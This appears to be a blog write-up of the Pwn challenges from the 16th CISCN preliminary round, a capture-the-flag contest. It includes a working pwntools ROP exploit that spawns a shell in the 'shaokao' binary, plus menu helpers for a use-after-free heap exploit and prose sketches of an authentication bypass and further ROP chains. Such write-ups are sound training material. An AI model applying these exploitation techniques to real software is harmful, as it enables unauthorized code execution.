Skip to main content

「Pwn」The 16th National College Student Information Security Contest CISCN Preliminary Writeup WP Reproduction

· 5 min read
MuelNova
Pwner who wants to write codes.

Couldn't make it to Singapore for the finals, so no time for that, just taking a look at the preliminary round.

It's hard to evaluate the Pwn questions in the preliminary round. The Pwn parts are all quite simple, but they throw in RE/WEB/MISC wrappers, and even after two days, pwn3 still couldn't be solved, so I didn't feel like looking into it further.

shaokao

A sign-in question. Use negative overflow to increase money and stack overflow to write ROP chains.

from pwn import *

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = 'wt.exe bash -c'.split(' ')

sh = process('./shaokao')
elf = ELF('./shaokao')

pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
pop_rax_ret = 0x458827
pop_rdx_rbx_ret = 0x4a404b
syscall_ret = 0x4230a6
name = elf.sym['name']

sh.sendlineafter('What\'s next?\n'.encode(), b'1\n1\n-100000\n4')
gdb.attach(sh, 'b *0x401F8D')
pause(4)
sh.sendlineafter('What\'s next?\n'.encode(), b'5\n' + b'/bin/sh'.ljust(0x28, b'\x00') +
p64(pop_rdi_ret) + p64(name) + p64(pop_rax_ret) + p64(59) +
p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(syscall_ret))
sh.interactive()

talkbot

Protobuf protocol question. The author sneakily changed 'protobuf' to 'BINARYBF' in the strings.

image-20230528220826344

However, by searching later, it is still possible to find that it is 'protobuf'. Luckily, the protocol fields were directly written in the fields, and it was possible to guess the types based on the names.

image-20230528221007371

It's unclear where the change was made, but upon testing it was found that actionid, msgidx, msgsize all need to be multiplied by 2 to get normal values.

Since writing protobuf is too complicated, a pwnutils script was created to simplify the process.

Menu:

def new(idx: int, size: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([1*2, idx*2, size*2, content]))

def edit(idx: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([2*2, idx*2, 2, content]))

def show(idx: int):
sh.sendafter(b'now: \n', pb_serialize([3*2, idx*2, 2, b'A']))

def delete(idx: int):
sh.sendafter(b'now: \n', pb_serialize([4*2, idx*2, 2, b'A']))

The vulnerability lies in not setting the pointer to 0 in del, causing a UAF vulnerability. By exploiting tcache and UAF, it's a simple challenge. There is also a hidden vulnerability in the add function, which can be exploited without UAF.

Exploit:

# Exploit code

PDC2.0

Does it really belong to the Pwn category? For version 1.0, see Gamma Experimental Field | PDC Wall Facing Plan Management System - From the Perspective of the Question Creator | CTF Navigation (ctfiot.com)

Received attachments include app.py, cmdHistory, a traffic package, and the aiortc library.

By analyzing aiortc through diff, it is revealed that it changed ECC to RSA. The reason for this change can be found in the link provided above.

By examining the traffic package and searching for the 'tell2me' route, a token for 'weisi' can be found. His sk is known to us, as seen in app.py.

image-20230528222953911

By observing app.py, it is possible to access the download route, including an editDatabase endpoint.

image-20230528222602012

Database editing requires the sk of 'luoji', which is not directly obtained from pk2sk[pk]. Instead, a loop check is implemented. This sets the stage for a clever exploitation: if submitToken[45:] is 'luojiweisi', the sk becomes pk2sk[weisi] which is known, thus passing the '[45:50] == luoji' check. Utilizing this, it's possible to generate an HMAC-like value, bypass the authentication, and potentially access secret data.

Additionally, by examining 'cmdHistory', the location of 'ssl.log' is revealed. While it can be used to download and decrypt DTLS traffic, it requires further investigation which was hindered by issues with Wireshark.

Furthermore, using aiortc to communicate with the server requires RTC, which could not be established due to connectivity issues.

Moving on to the Pwn part, it seems straightforward.

image-20230528223623912

A memcpy operation overflows by 0x18 bytes from the return address, setting up a rop chain to call pop rdi;ret [fake rdi]; addr_of_sqlite3_exec. Fake rdi should be placed on the input buffer to construct a statement for execution.

Without a runtime environment, the challenge could not be solved.

funcanary

Characterized by forking, where the canary remains constant.

Without a remote environment and local testing failing, it was challenging to identify the issue, which may require additional multithreaded debugging.

Code snippet:

# Exploit script

shellwego

A Go challenge, where reverse engineering outweighs Pwn aspects.

Restoring the symbol table using go_parser, was a bit tricky due to its lack of support for go1.2x versions. Adjusting the magic number allowed it to run and recover the symbol table (though type recovery was unsuccessful).

Reading the pseudocode was essential since details were inadvertently removed. It was carefully disassembled line by line.

The privilege escalation involves an interesting authentication logic, which utilizes RC4 and base64 encryption to validate a passphrase provided in the challenge.

The challenge includes instructions for privilege escalation using commands such as ls, cat, echo, chdir, which presents further reverse engineering complications. By setting a carefully crafted layout, it was possible to control the return address and launch a ROP chain.

Overall, the difficulty level was moderate, with the primary challenge lying in the intricate reverse engineering process.

pwn6

A Blind PWN challenge without a remote environment and a lost path for exploitation.

Final Thoughts

The Pwn challenges in the national finals were categorized as easy, medium, and hard, with a clear distinction. The finals Pwn challenges may present more complexity this year, but fortunately, I wasn't the one competing. 😄

The Pwn parts of the national competition weren't very difficult this time, while other parts posed greater challenges, making for an interesting competition.

Loading Comments...